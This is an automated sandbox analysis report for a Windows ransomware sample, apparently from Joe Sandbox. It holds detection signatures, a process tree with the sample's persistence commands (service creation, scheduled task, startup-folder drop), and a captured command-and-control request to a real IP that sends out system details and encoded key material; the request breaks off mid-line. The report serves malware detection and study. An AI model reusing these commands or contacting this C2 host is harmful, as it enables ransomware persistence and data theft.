Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
GD8c7ARn8q.exe

Overview

General Information

Sample name:GD8c7ARn8q.exe
renamed because original name is a hash value
Original sample name:3f9d0c297e903a2200b78f8a87904934e1e1f0cd5fbef2194b0b6435361ed2ef.exe
Analysis ID:1569978
MD5:142c78e668b72f3962c176f81a941953
SHA1:fd8391201a9682aabde56251f0ac5bb467c06e3d
SHA256:3f9d0c297e903a2200b78f8a87904934e1e1f0cd5fbef2194b0b6435361ed2ef
Tags:exeuser-JAMESWT_MHT
Infos:

Detection

TrojanRansom
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus / Scanner detection for submitted sample
Antivirus detection for dropped file
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected TrojanRansom
AI detected suspicious sample
Contains functionality to clear event logs
Deletes shadow drive data (may be related to ransomware)
Drops PE files to the startup folder
Machine Learning detection for dropped file
Machine Learning detection for sample
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Sample is not signed and drops a device driver
Sigma detected: Suspicious File Creation In Uncommon AppData Folder
Sigma detected: Suspicious New Service Creation
Sigma detected: WScript or CScript Dropper
Uses known network protocols on non-standard ports
Uses schtasks.exe or at.exe to add and modify task schedules
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes or reads registry keys via WMI
Checks for available system drives (often done to infect USB drives)
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to communicate with device drivers
Contains functionality to dynamically determine API calls
Contains functionality to enumerate network shares
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Creates a process in suspended mode (likely to inject code)
Creates a start menu entry (Start Menu\Programs\Startup)
Creates driver files
Creates files inside the system directory
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Drops PE files
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found WSH timer for Javascript or VBS script (likely evasive script)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Startup Folder File Write
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Stores files to the Windows start menu directory
Uses 32bit PE files
Uses Microsoft's Enhanced Cryptographic Provider
Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

  • System is w10x64
  • GD8c7ARn8q.exe (PID: 4584 cmdline: "C:\Users\user\Desktop\GD8c7ARn8q.exe" MD5: 142C78E668B72F3962C176F81A941953)
    • conhost.exe (PID: 1364 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • cmd.exe (PID: 1656 cmdline: C:\Windows\system32\cmd.exe /c tasklist /v /fo csv | findstr /i "dcdcf" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • tasklist.exe (PID: 1756 cmdline: tasklist /v /fo csv MD5: 0A4448B31CE7F83CB7691A2657F330F1)
      • findstr.exe (PID: 6592 cmdline: findstr /i "dcdcf" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)
    • cmd.exe (PID: 2648 cmdline: C:\Windows\system32\cmd.exe /c sc create SqlBakup binPath= "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe" start=auto MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • sc.exe (PID: 4884 cmdline: sc create SqlBakup binPath= "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe" start=auto MD5: D9D7684B8431A0D10D0E76FE9F5FFEC8)
    • cmd.exe (PID: 5880 cmdline: C:\Windows\system32\cmd.exe /c sc create SqlBakup binPath= "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe" start= auto MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • sc.exe (PID: 5900 cmdline: sc create SqlBakup binPath= "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe" start= auto MD5: D9D7684B8431A0D10D0E76FE9F5FFEC8)
    • cmd.exe (PID: 6336 cmdline: C:\Windows\system32\cmd.exe /c sc create SqlBakup binPath= "C:\Documents and Settings\user\Start Menu\Programs\Startup\Xinfecter.exe" start= auto MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • sc.exe (PID: 1468 cmdline: sc create SqlBakup binPath= "C:\Documents and Settings\user\Start Menu\Programs\Startup\Xinfecter.exe" start= auto MD5: D9D7684B8431A0D10D0E76FE9F5FFEC8)
    • cmd.exe (PID: 6468 cmdline: C:\Windows\system32\cmd.exe /c ver MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
    • cmd.exe (PID: 5444 cmdline: C:\Windows\system32\cmd.exe /c cd "%SystemDrive%\Users\%username%\AppData\"&S-2153.bat MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • wscript.exe (PID: 4068 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\S-8459.vbs" MD5: FF00E0480075B095948000BDC66E81F0)
        • cmd.exe (PID: 6740 cmdline: C:\Windows\system32\cmd.exe /C echo C:\Users\user\AppData\S-6748.bat MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
          • conhost.exe (PID: 6900 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • cmd.exe (PID: 6592 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\S-6748.bat" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
          • conhost.exe (PID: 5616 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
          • tasklist.exe (PID: 3568 cmdline: tasklist /v MD5: 0A4448B31CE7F83CB7691A2657F330F1)
          • find.exe (PID: 4496 cmdline: find /I /c "dcdcf" MD5: 15B158BC998EEF74CFDD27C44978AEA0)
          • timeout.exe (PID: 5928 cmdline: timeout /t 15 /nobreak MD5: 976566BEEFCCA4A159ECBDB2D4B1A3E3)
          • tasklist.exe (PID: 5064 cmdline: tasklist /fi "ImageName eq GD8c7ARn8q.exe" /fo csv MD5: 0A4448B31CE7F83CB7691A2657F330F1)
          • find.exe (PID: 2264 cmdline: find /I "GD8c7ARn8q.exe" MD5: 15B158BC998EEF74CFDD27C44978AEA0)
          • timeout.exe (PID: 5352 cmdline: timeout /t 15 /nobreak MD5: 976566BEEFCCA4A159ECBDB2D4B1A3E3)
          • tasklist.exe (PID: 5056 cmdline: tasklist /fi "ImageName eq GD8c7ARn8q.exe" /fo csv MD5: 0A4448B31CE7F83CB7691A2657F330F1)
          • find.exe (PID: 6880 cmdline: find /I "GD8c7ARn8q.exe" MD5: 15B158BC998EEF74CFDD27C44978AEA0)
          • timeout.exe (PID: 1772 cmdline: timeout /t 15 /nobreak MD5: 976566BEEFCCA4A159ECBDB2D4B1A3E3)
          • tasklist.exe (PID: 1656 cmdline: tasklist /fi "ImageName eq GD8c7ARn8q.exe" /fo csv MD5: 0A4448B31CE7F83CB7691A2657F330F1)
          • find.exe (PID: 3984 cmdline: find /I "GD8c7ARn8q.exe" MD5: 15B158BC998EEF74CFDD27C44978AEA0)
          • timeout.exe (PID: 2068 cmdline: timeout /t 15 /nobreak MD5: 976566BEEFCCA4A159ECBDB2D4B1A3E3)
          • tasklist.exe (PID: 6960 cmdline: tasklist /fi "ImageName eq GD8c7ARn8q.exe" /fo csv MD5: 0A4448B31CE7F83CB7691A2657F330F1)
          • find.exe (PID: 6896 cmdline: find /I "GD8c7ARn8q.exe" MD5: 15B158BC998EEF74CFDD27C44978AEA0)
          • timeout.exe (PID: 6288 cmdline: timeout /t 15 /nobreak MD5: 976566BEEFCCA4A159ECBDB2D4B1A3E3)
          • tasklist.exe (PID: 5916 cmdline: tasklist /fi "ImageName eq GD8c7ARn8q.exe" /fo csv MD5: 0A4448B31CE7F83CB7691A2657F330F1)
          • find.exe (PID: 5248 cmdline: find /I "GD8c7ARn8q.exe" MD5: 15B158BC998EEF74CFDD27C44978AEA0)
          • timeout.exe (PID: 4912 cmdline: timeout /t 15 /nobreak MD5: 976566BEEFCCA4A159ECBDB2D4B1A3E3)
    • cmd.exe (PID: 5588 cmdline: C:\Windows\system32\cmd.exe /c schtasks /create /sc minute /mo 6 /tn "Microsoft_Auto_Scheduler" /tr "'C:\Users\%username%\AppData\S-2153.bat'" /f MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • schtasks.exe (PID: 1496 cmdline: schtasks /create /sc minute /mo 6 /tn "Microsoft_Auto_Scheduler" /tr "'C:\Users\user\AppData\S-2153.bat'" /f MD5: 48C2FE20575769DE916F48EF0676A965)
    • cmd.exe (PID: 2644 cmdline: C:\Windows\system32\cmd.exe /c echo %date%-%time% MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
    • cmd.exe (PID: 3688 cmdline: C:\Windows\system32\cmd.exe /c systeminfo|find /i "os name" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • systeminfo.exe (PID: 736 cmdline: systeminfo MD5: 36CCB1FFAFD651F64A22B5DA0A1EA5C5)
      • find.exe (PID: 6992 cmdline: find /i "os name" MD5: 15B158BC998EEF74CFDD27C44978AEA0)
    • cmd.exe (PID: 4692 cmdline: C:\Windows\system32\cmd.exe /c systeminfo|find /i "original" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • systeminfo.exe (PID: 4864 cmdline: systeminfo MD5: 36CCB1FFAFD651F64A22B5DA0A1EA5C5)
      • find.exe (PID: 1060 cmdline: find /i "original" MD5: 15B158BC998EEF74CFDD27C44978AEA0)
    • cmd.exe (PID: 6036 cmdline: C:\Windows\system32\cmd.exe /c ver MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
  • cmd.exe (PID: 348 cmdline: C:\Windows\SYSTEM32\cmd.exe /c ""C:\Users\user\AppData\S-2153.bat"" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
    • conhost.exe (PID: 1888 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • wscript.exe (PID: 5272 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\S-8459.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)
      • cmd.exe (PID: 5848 cmdline: C:\Windows\system32\cmd.exe /C echo C:\Users\user\AppData\S-6748.bat MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 5124 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • cmd.exe (PID: 5912 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\S-6748.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 6188 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • tasklist.exe (PID: 5832 cmdline: tasklist /v MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)
        • find.exe (PID: 736 cmdline: find /I /c "dcdcf" MD5: 4BF76A28D31FC73AA9FC970B22D056AF)
  • Xinfecter.exe (PID: 6916 cmdline: "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe" MD5: 142C78E668B72F3962C176F81A941953)
    • conhost.exe (PID: 1496 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
Process Memory Space: GD8c7ARn8q.exe PID: 4584JoeSecurity_TrojanRansomYara detected TrojanRansomJoe Security
    Process Memory Space: Xinfecter.exe PID: 6916JoeSecurity_TrojanRansomYara detected TrojanRansomJoe Security

      Sigma Signatures

      System Summary

      barindex
      Sigma detected: Suspicious File Creation In Uncommon AppData Folder
      Source: File createdAuthor: Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Users\user\Desktop\GD8c7ARn8q.exe, ProcessId: 4584, TargetFilename: C:\Users\user\AppData\S-6748.bat
      Sigma detected: Suspicious New Service Creation
      Source: Process startedAuthor: Nasreddine Bencherchali (Nextron Systems): Data: Command: sc create SqlBakup binPath= "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe" start=auto, CommandLine: sc create SqlBakup binPath= "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe" start=auto, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\sc.exe, NewProcessName: C:\Windows\SysWOW64\sc.exe, OriginalFileName: C:\Windows\SysWOW64\sc.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c sc create SqlBakup binPath= "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe" start=auto, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 2648, ParentProcessName: cmd.exe, ProcessCommandLine: sc create SqlBakup binPath= "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe" start=auto, ProcessId: 4884, ProcessName: sc.exe
      Sigma detected: WScript or CScript Dropper
      Source: Process startedAuthor: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\S-8459.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\S-8459.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c cd "%SystemDrive%\Users\%username%\AppData\"&S-2153.bat, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 5444, ParentProcessName: cmd.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\S-8459.vbs" , ProcessId: 4068, ProcessName: wscript.exe
      Sigma detected: Startup Folder File Write
      Source: File createdAuthor: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: EventID: 11, Image: C:\Users\user\Desktop\GD8c7ARn8q.exe, ProcessId: 4584, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe
      Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
      Source: Process startedAuthor: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\S-8459.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\S-8459.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c cd "%SystemDrive%\Users\%username%\AppData\"&S-2153.bat, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 5444, ParentProcessName: cmd.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\S-8459.vbs" , ProcessId: 4068, ProcessName: wscript.exe
      Sigma detected: New Service Creation Using Sc.EXE
      Source: Process startedAuthor: Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community: Data: Command: sc create SqlBakup binPath= "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe" start=auto, CommandLine: sc create SqlBakup binPath= "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe" start=auto, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\sc.exe, NewProcessName: C:\Windows\SysWOW64\sc.exe, OriginalFileName: C:\Windows\SysWOW64\sc.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c sc create SqlBakup binPath= "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe" start=auto, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 2648, ParentProcessName: cmd.exe, ProcessCommandLine: sc create SqlBakup binPath= "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe" start=auto, ProcessId: 4884, ProcessName: sc.exe

      Suricata Signatures

      TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
      2024-12-06T13:39:27.608174+010020458211Malware Command and Control Activity Detected192.168.2.849706185.147.34.533586TCP

      Joe Sandbox Signatures

      Click to jump to signature section

      Show All Signature Results

      AV Detection

      barindex
      Antivirus / Scanner detection for submitted sample
      Source: GD8c7ARn8q.exeAvira: detected
      Antivirus detection for dropped file
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeAvira: detection malicious, Label: HEUR/AGEN.1353205
      Multi AV Scanner detection for dropped file
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeReversingLabs: Detection: 78%
      Multi AV Scanner detection for submitted file
      Source: GD8c7ARn8q.exeReversingLabs: Detection: 78%
      AI detected suspicious sample
      Source: Submited SampleIntegrated Neural Analysis Model: Matched 99.9% probability
      Machine Learning detection for dropped file
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeJoe Sandbox ML: detected
      Machine Learning detection for sample
      Source: GD8c7ARn8q.exeJoe Sandbox ML: detected
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_008C49B0 CryptAcquireContextA,CryptAcquireContextA,GetLastError,CryptAcquireContextA,CryptAcquireContextA,SetLastError,__CxxThrowException@8,CryptAcquireContextA,___std_exception_copy,0_2_008C49B0
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_008C4F70 CryptReleaseContext,0_2_008C4F70
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_008C5080 CryptGenRandom,CryptReleaseContext,__CxxThrowException@8,0_2_008C5080
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_008C4B10 CryptAcquireContextA,GetLastError,CryptReleaseContext,0_2_008C4B10
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_008C4EA0 CryptReleaseContext,0_2_008C4EA0
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_008C4EE0 CryptGenRandom,__CxxThrowException@8,0_2_008C4EE0
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 43_2_00F249B0 CryptAcquireContextA,CryptAcquireContextA,GetLastError,CryptAcquireContextA,CryptAcquireContextA,SetLastError,__CxxThrowException@8,CryptAcquireContextA,___std_exception_copy,43_2_00F249B0
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 43_2_00F24F70 CryptReleaseContext,43_2_00F24F70
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 43_2_00F25080 CryptGenRandom,CryptReleaseContext,__CxxThrowException@8,43_2_00F25080
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 43_2_00F24B10 CryptAcquireContextA,GetLastError,CryptReleaseContext,43_2_00F24B10
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 43_2_00F24EE0 CryptGenRandom,__CxxThrowException@8,43_2_00F24EE0
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 43_2_00F24EA0 CryptReleaseContext,43_2_00F24EA0
      Source: GD8c7ARn8q.exeStatic PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
      Source: GD8c7ARn8q.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeFile opened: z:Jump to behavior
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeFile opened: x:Jump to behavior
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeFile opened: v:Jump to behavior
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeFile opened: t:Jump to behavior
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeFile opened: r:Jump to behavior
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeFile opened: p:Jump to behavior
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeFile opened: n:Jump to behavior
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeFile opened: l:Jump to behavior
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeFile opened: j:Jump to behavior
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeFile opened: h:Jump to behavior
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeFile opened: f:Jump to behavior
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeFile opened: b:Jump to behavior
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeFile opened: y:Jump to behavior
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeFile opened: w:Jump to behavior
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeFile opened: u:Jump to behavior
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeFile opened: s:Jump to behavior
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeFile opened: q:Jump to behavior
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeFile opened: o:Jump to behavior
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeFile opened: m:Jump to behavior
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeFile opened: k:Jump to behavior
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeFile opened: i:Jump to behavior
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeFile opened: g:Jump to behavior
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeFile opened: e:Jump to behavior
      Source: C:\Windows\System32\cmd.exeFile opened: c:
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeFile opened: a:Jump to behavior
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_00874CC0 NetUserEnum,NetApiBufferFree,NetApiBufferFree,NetApiBufferFree,NetApiBufferFree,0_2_00874CC0
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 43_2_00ED4CC0 NetUserEnum,NetApiBufferFree,NetApiBufferFree,NetApiBufferFree,NetApiBufferFree,43_2_00ED4CC0
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_0092C1DB FindFirstFileExA,0_2_0092C1DB
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_00878A30 SetErrorMode,FindFirstFileW,0_2_00878A30
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_00878B70 SetErrorMode,FindFirstFileW,SetErrorMode,FindFirstFileW,0_2_00878B70
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_0087A2AA lstrcmpW,lstrcmpW,lstrcmpW,std::ios_base::_Ios_base_dtor,FindNextFileW,FindClose,SetErrorMode,FindFirstFileW,0_2_0087A2AA
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_0087B6D0 SetErrorMode,FindFirstFileW,lstrcmpW,lstrcmpW,lstrcmpW,std::ios_base::_Ios_base_dtor,FindNextFileW,FindClose,0_2_0087B6D0
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 43_2_00F8C1DB FindFirstFileExA,43_2_00F8C1DB
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 43_2_00EDA2AA lstrcmpW,lstrcmpW,lstrcmpW,std::ios_base::_Ios_base_dtor,FindNextFileW,FindClose,SetErrorMode,FindFirstFileW,43_2_00EDA2AA
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 43_2_00ED8A30 SetErrorMode,FindFirstFileW,43_2_00ED8A30
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 43_2_00ED8B70 SetErrorMode,FindFirstFileW,SetErrorMode,FindFirstFileW,43_2_00ED8B70
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 43_2_00EDB6D0 SetErrorMode,FindFirstFileW,lstrcmpW,lstrcmpW,lstrcmpW,std::ios_base::_Ios_base_dtor,FindNextFileW,FindClose,43_2_00EDB6D0
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_0087E0D0 GetLogicalDriveStringsA,0_2_0087E0D0

      Networking

      barindex
      Suricata IDS alerts for network traffic
      Source: Network trafficSuricata IDS: 2045821 - Severity 1 - ET MALWARE [ANY.RUN] RCRU64 Ransomware Variant CnC Activity : 192.168.2.8:49706 -> 185.147.34.53:3586
      Uses known network protocols on non-standard ports
      Source: unknownNetwork traffic detected: HTTP traffic on port 49706 -> 3586
      Source: global trafficTCP traffic: 192.168.2.8:49706 -> 185.147.34.53:3586
      Source: global trafficHTTP traffic detected: GET /110_And_Netword_Drive_Size:0_Encryption_Mode:_Fast_Mode!Empty]_____03/10/2023,_10:57:18$_06/12/2024-_7:39:[Version_10.0.19045.2006|Microsoft_Windows_10_Prohg3l,8.46.123.228~L8ae3QDN5/7WEYRQdyd7gQP2QfCOGDk74FBdfsfVfUs/d2VqeET9biQgajvWB/f/SKX0rlUUELEFLCaUUUsINxq/5tO/AVLZJ9lisLMWYSCAlhhHPBSzG2sJNnlGWwQaJrjM7Vv2GQAWn8uL2kNPM4qCfAhq3CJcfYEm/cCOoLKHTOx3gAi032hSQDHsltQy88LYOIRtkvAvcemkN3zxaIJ8V1kWZtApiNwYy3ZZyfD4xnFnArQ9zNYxiEhpWowMcTfa2lJij1P5evjtRYU+Nn3hhVu7UX1N8nzj0Jn8RNVRQ7O70cjgrSNb3BXjp5+EjBRrcU3Wz+zj2DQ1Ny6GBcXtYJ12obHOpt1JJ0WHN5NYpfnbafnPxALaxlWdFDT2Vm5nWP5uI1rZI863jU2En8vlQQGnudH8g1ynDWKF9Rwv7UKb9D9v9awhB3yHwdjsB1YaXmb+/MjhEL4EvM1n8OyNj0dqPtO1vGva8Vlsks+ZaiHHtfYx39ZR5BPvbb4XII0J7x233xYh6PG1pG2CEzI8MqPv/KL5j2RsJnax/f8DRruBdno37NlcnW94eY1xWsegJ8jZ1mIGuA3udvlu2cY4EhXsZQ5nbXPmDAgERAoIBABxY9aJAazvV1HEk/1Cb6SbWJonSN/izOrTqIIM0CBwwCTKfWkGmD2d4sxkU9BEEwA4v4rt5AHsBYgntrs++axAbu0Km33+dhAc9XnxqdO1/Qcw8jCkSdrtxv4vOBhH1p4OG/W3MrvFdQrIl/TXfgBOKmo/ndBW+ODqRFKp8Ifl+ROTa9KkURg9rkY+eV+iAQd2dXgTwxjyLvhFAjEV8tVd+hQNn0/ovGzpx4if81otea9GSal97mYzLJ2eEbuDOIdnMch6sWfNhrAdtoPVbn14K+zRz7D7voPUJEprqCPUWi5BpG+s2E6+64FTy17I8wAeavoTPAeffjfog9IXgn/0CgYEA5/Y/MypYRjoNAdtFrwCrvlVGp9I7rJN+X/wJyfnIqifXGBPWt8lme7mtbPhUZNo9kS2wuOaYio5V35oTXz28Fgrndq5Y2YW2+ODagFzyqXuXU+Fer7WOzrMcG8gxzeiUKqLT1fHc8cPWtXqGVJXWtRpO05YlY/quh6RL5yUli1UCgYEA1L0p6HinOt3WjO90KoS8w6JZWz5ffWaBJ8uw/ibFbvfFZTHgmefkE6E2aiI34L5TFcZiCVg354nJgIQtnao515UsFQXfuEMmpIVkxE9ENdtVRgY//daPZMHeWhWZ5e9hmAv3+77+1s5X8eye2MKPrLYgEjLMg3qzlGmxM/SmYXcCgYEAo7zhUUsRIoNUecf09AB5Ow8EsrKEedGGYd8V9/uctFhbmIZ5cqxIV1Xj1HMOZU7CDCBAgoSn6VVpywNY9+9XlxbBgPOKAvT5oJ64Wpv2lcCnDgh/Ep5GsAX1uUIFCdFZh4H+8V9uyMZ5cQsxpR55cMdGs3kLVaHkm/uA32WD6eECgYBwoGF7ErLi7eoOYKbpVVTgCqfG5MkkRVNva9YsMqTCR